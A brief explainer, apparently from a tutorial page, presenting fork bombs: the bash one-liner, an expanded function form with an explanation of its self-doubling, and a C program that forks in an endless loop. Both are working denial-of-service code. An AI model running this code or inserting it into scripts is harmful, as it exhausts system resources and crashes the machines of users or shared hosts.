Bash Script for Fork Bomb

:(){ :|:& };:

it can be represented like this also:

fork() {
    fork | fork &
}
fork

In it, a function is defined (fork()) as calling itself (fork), then piping (|) its result into itself, all in a background job (&). Essentially it calls itself twice every call and doesn’t have any way to terminate itself. It will keep doubling up until you run out of system resources.

C program for Fork Bomb

#include <stdio.h>
#include <sys/types.h>
 
int main()
{
    while(1)
       fork();   
    return 0;
}

&ldquo;fork bomb explained&rdquo;